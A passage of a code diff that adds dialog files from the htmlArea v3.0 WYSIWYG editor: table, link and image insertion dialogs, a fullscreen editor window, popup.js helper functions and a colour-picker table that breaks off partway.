+</form>\r\r
+</body>\r\r
+</html>\r\r
--- /dev/null
+<html>
+
+<head>
+ <title>Insert Table</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+window.resizeTo(400, 250);
+
+function Init() {
+ __dlg_init();
+ document.getElementById("f_rows").focus();
+};
+
+function onOK() {
+ var required = {
+ "f_rows": "You must enter a number of rows",
+ "f_cols": "You must enter a number of columns"
+ };
+ for (var i in required) {
+ var el = document.getElementById(i);
+ if (!el.value) {
+ alert(required[i]);
+ el.focus();
+ return false;
+ }
+ }
+ var fields = ["f_rows", "f_cols", "f_width", "f_unit",
+ "f_align", "f_border", "f_spacing", "f_padding"];
+ var param = new Object();
+ for (var i in fields) {
+ var id = fields[i];
+ var el = document.getElementById(id);
+ param[id] = el.value;
+ }
+ __dlg_close(param);
+ return false;
+};
+
+function onCancel() {
+ __dlg_close(null);
+ return false;
+};
+
+</script>
+
+<style type="text/css">
+html, body {
+ background: ButtonFace;
+ color: ButtonText;
+ font: 11px Tahoma,Verdana,sans-serif;
+ margin: 0px;
+ padding: 0px;
+}
+body { padding: 5px; }
+table {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+form p {
+ margin-top: 5px;
+ margin-bottom: 5px;
+}
+.fl { width: 9em; float: left; padding: 2px 5px; text-align: right; }
+.fr { width: 7em; float: left; padding: 2px 5px; text-align: right; }
+fieldset { padding: 0px 10px 5px 5px; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+.space { padding: 2px; }
+
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+form { padding: 0px; margin: 0px; }
+</style>
+
+</head>
+
+<body onload="Init()">
+
+<div class="title">Insert Table</div>
+
+<form action="" method="get">
+<table border="0" style="padding: 0px; margin: 0px">
+ <tbody>
+
+ <tr>
+ <td style="width: 4em; text-align: right">Rows:</td>
+ <td><input type="text" name="rows" id="f_rows" size="5" title="Number of rows" value="2" /></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td style="width: 4em; text-align: right">Cols:</td>
+ <td><input type="text" name="cols" id="f_cols" size="5" title="Number of columns" value="4" /></td>
+ <td style="width: 4em; text-align: right">Width:</td>
+ <td><input type="text" name="width" id="f_width" size="5" title="Width of the table" value="100" /></td>
+ <td><select size="1" name="unit" id="f_unit" title="Width unit">
+ <option value="%" selected="1" >Percent</option>
+ <option value="px" >Pixels</option>
+ <option value="em" >Em</option>
+ </select></td>
+ </tr>
+
+ </tbody>
+</table>
+
+<p />
+
+<fieldset style="float: left; margin-left: 5px;">
+<legend>Layout</legend>
+
+<div class="space"></div>
+
+<div class="fl">Alignment:</div>
+<select size="1" name="align" id="f_align"
+ title="Positioning of this image">
+ <option value="" selected="1" >Not set</option>
+ <option value="left" >Left</option>
+ <option value="right" >Right</option>
+ <option value="texttop" >Texttop</option>
+ <option value="absmiddle" >Absmiddle</option>
+ <option value="baseline" >Baseline</option>
+ <option value="absbottom" >Absbottom</option>
+ <option value="bottom" >Bottom</option>
+ <option value="middle" >Middle</option>
+ <option value="top" >Top</option>
+</select>
+
+<p />
+
+<div class="fl">Border thickness:</div>
+<input type="text" name="border" id="f_border" size="5" value="1"
+title="Leave empty for no border" />
+<!--
+<p />
+
+<div class="fl">Collapse borders:</div>
+<input type="checkbox" name="collapse" id="f_collapse" />
+-->
+<div class="space"></div>
+
+</fieldset>
+
+<fieldset style="float:right; margin-right: 5px;">
+<legend>Spacing</legend>
+
+<div class="space"></div>
+
+<div class="fr">Cell spacing:</div>
+<input type="text" name="spacing" id="f_spacing" size="5" value="1"
+title="Space between adjacent cells" />
+
+<p />
+
+<div class="fr">Cell padding:</div>
+<input type="text" name="padding" id="f_padding" size="5" value="1"
+title="Space between content and border in cell" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<div style="margin-top: 85px; border-top: 1px solid #999; padding: 2px; text-align: right;">
+<button type="button" name="ok" onclick="return onOK();">OK</button>
+<button type="button" name="cancel" onclick="return onCancel();">Cancel</button>
+</div>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<html>\r
+\r
+<head>\r
+ <title>Insert/Modify Link</title>\r
+ <script type="text/javascript" src="popup.js"></script>\r
+ <script type="text/javascript">\r
+ window.resizeTo(400, 200);\r
+\r
+I18N = window.opener.HTMLArea.I18N.dialogs;\r
+\r
+function i18n(str) {\r
+ return (I18N[str] || str);\r
+};\r
+\r
+function onTargetChanged() {\r
+ var f = document.getElementById("f_other_target");\r
+ if (this.value == "_other") {\r
+ f.style.visibility = "visible";\r
+ f.select();\r
+ f.focus();\r
+ } else f.style.visibility = "hidden";\r
+};\r
+\r
+function Init() {\r
+ __dlg_translate(I18N);\r
+ __dlg_init();\r
+ var param = window.dialogArguments;\r
+ var target_select = document.getElementById("f_target");\r
+ if (param) {\r
+ document.getElementById("f_href").value = param["f_href"];\r
+ document.getElementById("f_title").value = param["f_title"];\r
+ comboSelectValue(target_select, param["f_target"]);\r
+ if (target_select.value != param.f_target) {\r
+ var opt = document.createElement("option");\r
+ opt.value = param.f_target;\r
+ opt.innerHTML = opt.value;\r
+ target_select.appendChild(opt);\r
+ opt.selected = true;\r
+ }\r
+ }\r
+ var opt = document.createElement("option");\r
+ opt.value = "_other";\r
+ opt.innerHTML = i18n("Other");\r
+ target_select.appendChild(opt);\r
+ target_select.onchange = onTargetChanged;\r
+ document.getElementById("f_href").focus();\r
+ document.getElementById("f_href").select();\r
+};\r
+\r
+function onOK() {\r
+ var required = {\r
+ // f_href shouldn't be required or otherwise removing the link by entering an empty\r\r
+ // url isn't possible anymore.\r\r
+ // "f_href": i18n("You must enter the URL where this link points to")\r\r
+ };\r
+ for (var i in required) {\r
+ var el = document.getElementById(i);\r
+ if (!el.value) {\r
+ alert(required[i]);\r
+ el.focus();\r
+ return false;\r
+ }\r
+ }\r
+ // pass data back to the calling window\r
+ var fields = ["f_href", "f_title", "f_target" ];\r
+ var param = new Object();\r
+ for (var i in fields) {\r
+ var id = fields[i];\r
+ var el = document.getElementById(id);\r
+ param[id] = el.value;\r
+ }\r
+ if (param.f_target == "_other")\r
+ param.f_target = document.getElementById("f_other_target").value;\r
+ __dlg_close(param);\r
+ return false;\r
+};\r
+\r
+function onCancel() {\r
+ __dlg_close(null);\r
+ return false;\r
+};\r
+\r
+</script>\r
+\r
+<style type="text/css">\r
+html, body {\r
+ background: ButtonFace;\r
+ color: ButtonText;\r
+ font: 11px Tahoma,Verdana,sans-serif;\r
+ margin: 0px;\r
+ padding: 0px;\r
+}\r
+body { padding: 5px; }\r
+table {\r
+ font: 11px Tahoma,Verdana,sans-serif;\r
+}\r
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }\r
+button { width: 70px; }\r
+table .label { text-align: right; width: 8em; }\r
+\r
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;\r
+border-bottom: 1px solid black; letter-spacing: 2px;\r
+}\r
+\r
+#buttons {\r
+ margin-top: 1em; border-top: 1px solid #999;\r
+ padding: 2px; text-align: right;\r
+}\r
+</style>\r
+\r
+</head>\r
+\r
+<body onload="Init()">\r
+<div class="title">Insert/Modify Link</div>\r
+\r
+<table border="0" style="width: 100%;">\r
+ <tr>\r
+ <td class="label">URL:</td>\r
+ <td><input type="text" id="f_href" style="width: 100%" /></td>\r
+ </tr>\r
+ <tr>\r
+ <td class="label">Title (tooltip):</td>\r
+ <td><input type="text" id="f_title" style="width: 100%" /></td>\r
+ </tr>\r
+ <tr>\r
+ <td class="label">Target:</td>\r
+ <td><select id="f_target">\r
+ <option value="">None</option>\r
+ <option value="_blank">New window (_blank)</option>\r
+ </select>\r
+ <input type="text" name="f_other_target" id="f_other_target" size="10" style="visibility: hidden" />\r
+ </td>\r
+ </tr>\r
+</table>\r
+\r
+<div id="buttons">\r
+ <button type="button" name="ok" onclick="return onOK();">OK</button>\r
+ <button type="button" name="cancel" onclick="return onCancel();">Cancel</button>\r
+</div>\r
+\r
+</body>\r
+</html>\r
--- /dev/null
+<files>
+ <file name="*.{js,html}" />
+ <file name="about.html" masonize="yes" args="version,release,basename" />
+</files>
--- /dev/null
+<html>\r\r
+<head><title>Fullscreen Editor</title>\r\r
+<style type="text/css"> body { margin: 0px; border: 0px; background-color: buttonface; } </style>\r\r
+\r\r
+<script>\r\r
+\r\r
+// if we pass the "window" object as a argument and then set opener to\r\r
+// equal that we can refer to dialogWindows and popupWindows the same way\r\r
+if (window.dialogArguments) { opener = window.dialogArguments; }\r\r
+\r\r
+var _editor_url = "../";\r\r
+document.write('<scr'+'ipt src="' +_editor_url+ 'editor.js" language="Javascript1.2"></scr'+'ipt>');\r\r
+\r\r
+var parent_objname = location.search.substring(1,location.search.length); // parent editor objname\r\r
+var parent_config = opener.document.all[parent_objname].config;\r\r
+\r\r
+var config = cloneObject( parent_config );\r\r
+var objname = 'editor'; // name of this editor\r\r
+\r\r
+// DOMViewerObj = config;\r\r
+// DOMViewerName = 'config';\r\r
+// window.open('/innerHTML/domviewer.htm'); \r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : \r\r
+ Description : \r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function _CloseOnEsc() {\r\r
+ if (event.keyCode == 27) {\r\r
+ update_parent();\r\r
+ window.close();\r\r
+ return;\r\r
+ }\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : cloneObject\r\r
+ Description : copy an object by value instead of by reference\r\r
+ Usage : var newObj = cloneObject(oldObj);\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function cloneObject(obj) {\r\r
+ var newObj = new Object; \r\r
+\r\r
+ // check for array objects\r\r
+ if (obj.constructor.toString().indexOf('function Array(') == 1) {\r\r
+ newObj = obj.constructor();\r\r
+ }\r\r
+\r\r
+ for (var n in obj) {\r\r
+ var node = obj[n];\r\r
+ if (typeof node == 'object') { newObj[n] = cloneObject(node); }\r\r
+ else { newObj[n] = node; }\r\r
+ }\r\r
+ \r\r
+ return newObj;\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : resize_editor\r\r
+ Description : resize the editor when the user resizes the popup\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function resize_editor() { // resize editor to fix window\r\r
+ var editor = document.all['_editor_editor'];\r\r
+\r\r
+ newWidth = document.body.offsetWidth;\r\r
+ newHeight = document.body.offsetHeight - editor.offsetTop;\r\r
+\r\r
+ if (newWidth < 0) { newWidth = 0; }\r\r
+ if (newHeight < 0) { newHeight = 0; }\r\r
+\r\r
+ editor.style.width = newWidth;\r\r
+ editor.style.height = newHeight;\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : init\r\r
+ Description : run this code on page load\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function init() {\r\r
+ // change maximize button to minimize button\r\r
+ config.btnList["popupeditor"] = ['popupeditor', 'Minimize Editor', 'update_parent(); window.close();', 'fullscreen_minimize.gif'];\r\r
+\r\r
+ // set htmlmode button to refer to THIS editor\r\r
+ config.btnList["htmlmode"] = ['HtmlMode', 'View HTML Source', 'editor_setmode(\'editor\')', 'ed_html.gif'];\r\r
+\r\r
+ // change image url to be relative to current path\r\r
+ config.imgURL = "../images/";\r\r
+ \r\r
+ // generate editor and resize it\r\r
+ editor_generate('editor', config);\r\r
+ resize_editor();\r\r
+\r\r
+ // switch mode if needed\r\r
+ if (parent_config.mode == 'textedit') { editor_setmode(objname, 'textedit'); }\r\r
+\r\r
+ // set child window contents\r\r
+ var parentHTML = opener.editor_getHTML(parent_objname);\r\r
+ editor_setHTML(objname, parentHTML);\r\r
+\r\r
+ // continuously update parent editor window\r\r
+ window.setInterval(update_parent, 333);\r\r
+\r\r
+ // setup event handlers\r\r
+ document.body.onkeypress = _CloseOnEsc;\r\r
+ window.onresize = resize_editor;\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : update_parent\r\r
+ Description : update parent window editor field with contents from child window\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function update_parent() {\r\r
+ var childHTML = editor_getHTML(objname);\r\r
+ opener.editor_setHTML(parent_objname, childHTML);\r\r
+}\r\r
+\r\r
+\r\r
+</script>\r\r
+</head>\r\r
+<body scroll="no" onload="init()" onunload="update_parent()">\r\r
+\r\r
+<div style="margin: 0 0 0 0; border-width: 1; border-style: solid; border-color: threedshadow threedhighlight threedhighlight threedshadow; "></div>\r\r
+\r\r
+<textarea name="editor" style="width:100%; height:300px"></textarea><br>\r\r
+\r\r
+</body></html>
\ No newline at end of file
--- /dev/null
+<!-- based on insimage.dlg -->\r\r
+\r\r
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML 3.2//EN">\r\r
+<HTML id=dlgImage STYLE="width: 432px; height: 194px; ">\r\r
+<HEAD>\r\r
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">\r\r
+<meta http-equiv="MSThemeCompatible" content="Yes">\r\r
+<TITLE>Insert Image</TITLE>\r\r
+<style>\r\r
+ html, body, button, div, input, select, fieldset { font-family: MS Shell Dlg; font-size: 8pt; position: absolute; };\r\r
+</style>\r\r
+<SCRIPT defer>\r\r
+\r\r
+function _CloseOnEsc() {\r\r
+ if (event.keyCode == 27) { window.close(); return; }\r\r
+}\r\r
+\r\r
+function _getTextRange(elm) {\r\r
+ var r = elm.parentTextEdit.createTextRange();\r\r
+ r.moveToElementText(elm);\r\r
+ return r;\r\r
+}\r\r
+\r\r
+window.onerror = HandleError\r\r
+\r\r
+function HandleError(message, url, line) {\r\r
+ var str = "An error has occurred in this dialog." + "\n\n"\r\r
+ + "Error: " + line + "\n" + message;\r\r
+ alert(str);\r\r
+ window.close();\r\r
+ return true;\r\r
+}\r\r
+\r\r
+function Init() {\r\r
+ var elmSelectedImage;\r\r
+ var htmlSelectionControl = "Control";\r\r
+ var globalDoc = window.dialogArguments;\r\r
+ var grngMaster = globalDoc.selection.createRange();\r\r
+ \r\r
+ // event handlers \r\r
+ document.body.onkeypress = _CloseOnEsc;\r\r
+ btnOK.onclick = new Function("btnOKClick()");\r\r
+\r\r
+ txtFileName.fImageLoaded = false;\r\r
+ txtFileName.intImageWidth = 0;\r\r
+ txtFileName.intImageHeight = 0;\r\r
+\r\r
+ if (globalDoc.selection.type == htmlSelectionControl) {\r\r
+ if (grngMaster.length == 1) {\r\r
+ elmSelectedImage = grngMaster.item(0);\r\r
+ if (elmSelectedImage.tagName == "IMG") {\r\r
+ txtFileName.fImageLoaded = true;\r\r
+ if (elmSelectedImage.src) {\r\r
+ txtFileName.value = elmSelectedImage.src.replace(/^[^*]*(\*\*\*)/, "$1"); // fix placeholder src values that editor converted to abs paths\r\r
+ txtFileName.intImageHeight = elmSelectedImage.height;\r\r
+ txtFileName.intImageWidth = elmSelectedImage.width;\r\r
+ txtVertical.value = elmSelectedImage.vspace;\r\r
+ txtHorizontal.value = elmSelectedImage.hspace;\r\r
+ txtBorder.value = elmSelectedImage.border;\r\r
+ txtAltText.value = elmSelectedImage.alt;\r\r
+ selAlignment.value = elmSelectedImage.align;\r\r
+ }\r\r
+ }\r\r
+ }\r\r
+ }\r\r
+ txtFileName.value = txtFileName.value || "http://";\r\r
+ txtFileName.focus();\r\r
+}\r\r
+\r\r
+function _isValidNumber(txtBox) {\r\r
+ var val = parseInt(txtBox);\r\r
+ if (isNaN(val) || val < 0 || val > 999) { return false; }\r\r
+ return true;\r\r
+}\r\r
+\r\r
+function btnOKClick() {\r\r
+ var elmImage;\r\r
+ var intAlignment;\r\r
+ var htmlSelectionControl = "Control";\r\r
+ var globalDoc = window.dialogArguments;\r\r
+ var grngMaster = globalDoc.selection.createRange();\r\r
+ \r\r
+ // error checking\r\r
+\r\r
+ if (!txtFileName.value || txtFileName.value == "http://") { \r\r
+ alert("Image URL must be specified.");\r\r
+ txtFileName.focus();\r\r
+ return;\r\r
+ }\r\r
+ if (txtHorizontal.value && !_isValidNumber(txtHorizontal.value)) {\r\r
+ alert("Horizontal spacing must be a number between 0 and 999.");\r\r
+ txtHorizontal.focus();\r\r
+ return;\r\r
+ }\r\r
+ if (txtBorder.value && !_isValidNumber(txtBorder.value)) {\r\r
+ alert("Border thickness must be a number between 0 and 999.");\r\r
+ txtBorder.focus();\r\r
+ return;\r\r
+ }\r\r
+ if (txtVertical.value && !_isValidNumber(txtVertical.value)) {\r\r
+ alert("Vertical spacing must be a number between 0 and 999.");\r\r
+ txtVertical.focus();\r\r
+ return;\r\r
+ }\r\r
+\r\r
+ // delete selected content and replace with image\r\r
+ if (globalDoc.selection.type == htmlSelectionControl && !txtFileName.fImageLoaded) {\r\r
+ grngMaster.execCommand('Delete');\r\r
+ grngMaster = globalDoc.selection.createRange();\r\r
+ }\r\r
+ \r\r
+ idstr = "\" id=\"556e697175657e537472696e67"; // new image creation ID\r\r
+ if (!txtFileName.fImageLoaded) {\r\r
+ grngMaster.execCommand("InsertImage", false, idstr);\r\r
+ elmImage = globalDoc.all['556e697175657e537472696e67'];\r\r
+ elmImage.removeAttribute("id");\r\r
+ elmImage.removeAttribute("src");\r\r
+ grngMaster.moveStart("character", -1);\r\r
+ } else {\r\r
+ elmImage = grngMaster.item(0);\r\r
+ if (elmImage.src != txtFileName.value) {\r\r
+ grngMaster.execCommand('Delete');\r\r
+ grngMaster = globalDoc.selection.createRange();\r\r
+ grngMaster.execCommand("InsertImage", false, idstr);\r\r
+ elmImage = globalDoc.all['556e697175657e537472696e67'];\r\r
+ elmImage.removeAttribute("id");\r\r
+ elmImage.removeAttribute("src");\r\r
+ grngMaster.moveStart("character", -1);\r\r
+ txtFileName.fImageLoaded = false;\r\r
+ }\r\r
+ grngMaster = _getTextRange(elmImage);\r\r
+ }\r\r
+\r\r
+ if (txtFileName.fImageLoaded) {\r\r
+ elmImage.style.width = txtFileName.intImageWidth;\r\r
+ elmImage.style.height = txtFileName.intImageHeight;\r\r
+ }\r\r
+\r\r
+ if (txtFileName.value.length > 2040) {\r\r
+ txtFileName.value = txtFileName.value.substring(0,2040);\r\r
+ }\r\r
+ \r\r
+ elmImage.src = txtFileName.value;\r\r
+ \r\r
+ if (txtHorizontal.value != "") { elmImage.hspace = parseInt(txtHorizontal.value); }\r\r
+ else { elmImage.hspace = 0; }\r\r
+\r\r
+ if (txtVertical.value != "") { elmImage.vspace = parseInt(txtVertical.value); }\r\r
+ else { elmImage.vspace = 0; }\r\r
+ \r\r
+ elmImage.alt = txtAltText.value;\r\r
+\r\r
+ if (txtBorder.value != "") { elmImage.border = parseInt(txtBorder.value); }\r\r
+ else { elmImage.border = 0; }\r\r
+\r\r
+ elmImage.align = selAlignment.value;\r\r
+ grngMaster.collapse(false);\r\r
+ grngMaster.select();\r\r
+ window.close();\r\r
+}\r\r
+</SCRIPT>\r\r
+</HEAD>\r\r
+<BODY id=bdy onload="Init()" style="background: threedface; color: windowtext;" scroll=no>\r\r
+\r\r
+<DIV id=divFileName style="left: 0.98em; top: 1.2168em; width: 7em; height: 1.2168em; ">Image URL:</DIV>\r\r
+<INPUT ID=txtFileName type=text style="left: 8.54em; top: 1.0647em; width: 21.5em;height: 2.1294em; " tabIndex=10 onfocus="select()">\r\r
+\r\r
+<DIV id=divAltText style="left: 0.98em; top: 4.1067em; width: 6.58em; height: 1.2168em; ">Alternate Text:</DIV>\r\r
+<INPUT type=text ID=txtAltText tabIndex=15 style="left: 8.54em; top: 3.8025em; width: 21.5em; height: 2.1294em; " onfocus="select()">\r\r
+\r\r
+<FIELDSET id=fldLayout style="left: .9em; top: 7.1em; width: 17.08em; height: 7.6em;">\r\r
+<LEGEND id=lgdLayout>Layout</LEGEND>\r\r
+</FIELDSET>\r\r
+\r\r
+<FIELDSET id=fldSpacing style="left: 18.9em; top: 7.1em; width: 11em; height: 7.6em;">\r\r
+<LEGEND id=lgdSpacing>Spacing</LEGEND>\r\r
+</FIELDSET>\r\r
+\r\r
+<DIV id=divAlign style="left: 1.82em; top: 9.126em; width: 4.76em; height: 1.2168em; ">Alignment:</DIV>\r\r
+<SELECT size=1 ID=selAlignment tabIndex=20 style="left: 10.36em; top: 8.8218em; width: 6.72em; height: 1.2168em; ">\r\r
+<OPTION id=optNotSet value=""> Not set </OPTION>\r\r
+<OPTION id=optLeft value=left> Left </OPTION>\r\r
+<OPTION id=optRight value=right> Right </OPTION>\r\r
+<OPTION id=optTexttop value=textTop> Texttop </OPTION>\r\r
+<OPTION id=optAbsMiddle value=absMiddle> Absmiddle </OPTION>\r\r
+<OPTION id=optBaseline value=baseline SELECTED> Baseline </OPTION>\r\r
+<OPTION id=optAbsBottom value=absBottom> Absbottom </OPTION>\r\r
+<OPTION id=optBottom value=bottom> Bottom </OPTION>\r\r
+<OPTION id=optMiddle value=middle> Middle </OPTION>\r\r
+<OPTION id=optTop value=top> Top </OPTION>\r\r
+</SELECT>\r\r
+\r\r
+<DIV id=divHoriz style="left: 19.88em; top: 9.126em; width: 4.76em; height: 1.2168em; ">Horizontal:</DIV>\r\r
+<INPUT ID=txtHorizontal style="left: 24.92em; top: 8.8218em; width: 4.2em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=25 onfocus="select()">\r\r
+\r\r
+<DIV id=divBorder style="left: 1.82em; top: 12.0159em; width: 8.12em; height: 1.2168em; ">Border Thickness:</DIV>\r\r
+<INPUT ID=txtBorder style="left: 10.36em; top: 11.5596em; width: 6.72em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=21 onfocus="select()">\r\r
+\r\r
+<DIV id=divVert style="left: 19.88em; top: 12.0159em; width: 3.64em; height: 1.2168em; ">Vertical:</DIV>\r\r
+<INPUT ID=txtVertical style="left: 24.92em; top: 11.5596em; width: 4.2em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=30 onfocus="select()">\r\r
+\r\r
+<BUTTON ID=btnOK style="left: 31.36em; top: 1.0647em; width: 7em; height: 2.2em; " type=submit tabIndex=40>OK</BUTTON>\r\r
+<BUTTON ID=btnCancel style="left: 31.36em; top: 3.6504em; width: 7em; height: 2.2em; " type=reset tabIndex=45 onClick="window.close();">Cancel</BUTTON>\r\r
+\r\r
+</BODY>\r\r
+</HTML>
\ No newline at end of file
--- /dev/null
+// htmlArea v3.0 - Copyright (c) 2002, 2003 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+// http://dynarch.com/mishoo
+//
+// $Id: popup.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+function getAbsolutePos(el) {
+ var r = { x: el.offsetLeft, y: el.offsetTop };
+ if (el.offsetParent) {
+ var tmp = getAbsolutePos(el.offsetParent);
+ r.x += tmp.x;
+ r.y += tmp.y;
+ }
+ return r;
+};
+
+function comboSelectValue(c, val) {
+ var ops = c.getElementsByTagName("option");
+ for (var i = ops.length; --i >= 0;) {
+ var op = ops[i];
+ op.selected = (op.value == val);
+ }
+ c.value = val;
+};
+
+function __dlg_onclose() {
+ opener.Dialog._return(null);
+};
+
+function __dlg_init(bottom) {
+ var body = document.body;
+ var body_height = 0;
+ if (typeof bottom == "undefined") {
+ var div = document.createElement("div");
+ body.appendChild(div);
+ var pos = getAbsolutePos(div);
+ body_height = pos.y;
+ } else {
+ var pos = getAbsolutePos(bottom);
+ body_height = pos.y + bottom.offsetHeight;
+ }
+ window.dialogArguments = opener.Dialog._arguments;
+ if (!document.all) {
+ window.sizeToContent();
+ window.sizeToContent(); // for reasons beyond understanding,
+ // only if we call it twice we get the
+ // correct size.
+ window.addEventListener("unload", __dlg_onclose, true);
+ // center on parent
+ var x = opener.screenX + (opener.outerWidth - window.outerWidth) / 2;
+ var y = opener.screenY + (opener.outerHeight - window.outerHeight) / 2;
+ window.moveTo(x, y);
+ window.innerWidth = body.offsetWidth + 5;
+ window.innerHeight = body_height + 2;
+ } else {
+ // window.dialogHeight = body.offsetHeight + 50 + "px";
+ // window.dialogWidth = body.offsetWidth + "px";
+ window.resizeTo(body.offsetWidth, body_height);
+ var ch = body.clientHeight;
+ var cw = body.clientWidth;
+ window.resizeBy(body.offsetWidth - cw, body_height - ch);
+ var W = body.offsetWidth;
+ var H = 2 * body_height - ch;
+ var x = (screen.availWidth - W) / 2;
+ var y = (screen.availHeight - H) / 2;
+ window.moveTo(x, y);
+ }
+ document.body.onkeypress = __dlg_close_on_esc;
+};
+
+function __dlg_translate(i18n) {
+ var types = ["span", "option", "td", "button", "div"];
+ for (var type in types) {
+ var spans = document.getElementsByTagName(types[type]);
+ for (var i = spans.length; --i >= 0;) {
+ var span = spans[i];
+ if (span.firstChild && span.firstChild.data) {
+ var txt = i18n[span.firstChild.data];
+ if (txt)
+ span.firstChild.data = txt;
+ }
+ }
+ }
+ var txt = i18n[document.title];
+ if (txt)
+ document.title = txt;
+};
+
+// closes the dialog and passes the return info upper.
+function __dlg_close(val) {
+ opener.Dialog._return(val);
+ window.close();
+};
+
+function __dlg_close_on_esc(ev) {
+ ev || (ev = window.event);
+ if (ev.keyCode == 27) {
+ window.close();
+ return false;
+ }
+ return true;
+};
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html style="width: 250px; height: 200px;"><head><!-- note: this version of the color picker is optimized for IE 5.5+ only --><title>Select Color</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+function _CloseOnEsc() {
+ if (event.keyCode == 27) { window.close(); return; }
+}
+
+function Init() { // run on page load
+ __dlg_init(); // <!-- this can be found in popup.js -->
+ document.body.onkeypress = _CloseOnEsc;
+
+ var color = window.dialogArguments;
+ color = ValidateColor(color) || '000000';
+ View(color); // set default color
+}
+
+function View(color) { // preview color
+ document.getElementById("ColorPreview").style.backgroundColor = '#' + color;
+ document.getElementById("ColorHex").value = '#' + color;
+}
+
+function Set(string) { // select color
+ var color = ValidateColor(string);
+ if (color == null) { alert("Invalid color code: " + string); } // invalid color
+ else { // valid color
+ View(color); // show selected color
+ __dlg_close(color);
+ }
+}
+
+function ValidateColor(string) { // return valid color code
+ string = string || '';
+ string = string + "";
+ string = string.toUpperCase();
+ var chars = '0123456789ABCDEF';
+ var out = '';
+
+ for (var i=0; i<string.length; i++) { // remove invalid color chars
+ var schar = string.charAt(i);
+ if (chars.indexOf(schar) != -1) { out += schar; }
+ }
+
+ if (out.length != 6) { return null; } // check length
+ return out;
+}
+
+</script></head>
+
+<body style="margin: 0px; padding: 0px; background: buttonface none repeat scroll 0%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;" onload="Init()">
+
+<form method="get" style="margin: 0px; padding: 0px;" onsubmit="Set(document.getElementById('ColorHex').value); return false;">
+<table border="0" cellpadding="4" cellspacing="0" width="100%">
+ <tbody><tr>
+ <td style="background: buttonface none repeat scroll 0%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;" valign="center"><div style="padding: 1px; background-color: rgb(0, 0, 0); height: 21px; width: 50px;"><div id="ColorPreview" style="height: 100%; width: 100%;"></div></div><br>
+</td>
+ <td style="background: buttonface none repeat scroll 0%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;" valign="center"><input name="ColorHex" id="ColorHex" value="" size="15" style="font-size: 12px;" type="text"></td>
+ <td style="background: buttonface none repeat scroll 0%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;" width="100%"><br>
+</td>
+ </tr>
+</tbody></table>
+</form>
+
+<table style="width: 100%; background-color: rgb(0, 0, 0);" border="0" cellpadding="0" cellspacing="1">
+<tbody><tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('7A9EC0')" onclick="Set('7A9EC0')" style="width: 10px; height: 10px; background-color: rgb(122, 158, 192);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('003300')" onclick="Set('003300')" bgcolor="#003300" height="10" width="10"><br>
+</td>
+<td onmouseover="View('006600')" onclick="Set('006600')" bgcolor="#006600" height="10" width="10"><br>
+</td>
+<td onmouseover="View('009900')" onclick="Set('009900')" bgcolor="#009900" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00CC00')" onclick="Set('00CC00')" bgcolor="#00cc00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00FF00')" onclick="Set('00FF00')" bgcolor="#00ff00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('330000')" onclick="Set('330000')" bgcolor="#330000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('333300')" onclick="Set('333300')" bgcolor="#333300" height="10" width="10"><br>
+</td>
+<td onmouseover="View('336600')" onclick="Set('336600')" bgcolor="#336600" height="10" width="10"><br>
+</td>
+<td onmouseover="View('339900')" onclick="Set('339900')" bgcolor="#339900" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33CC00')" onclick="Set('33CC00')" bgcolor="#33cc00" height="10" width="10"><br>
+</td>
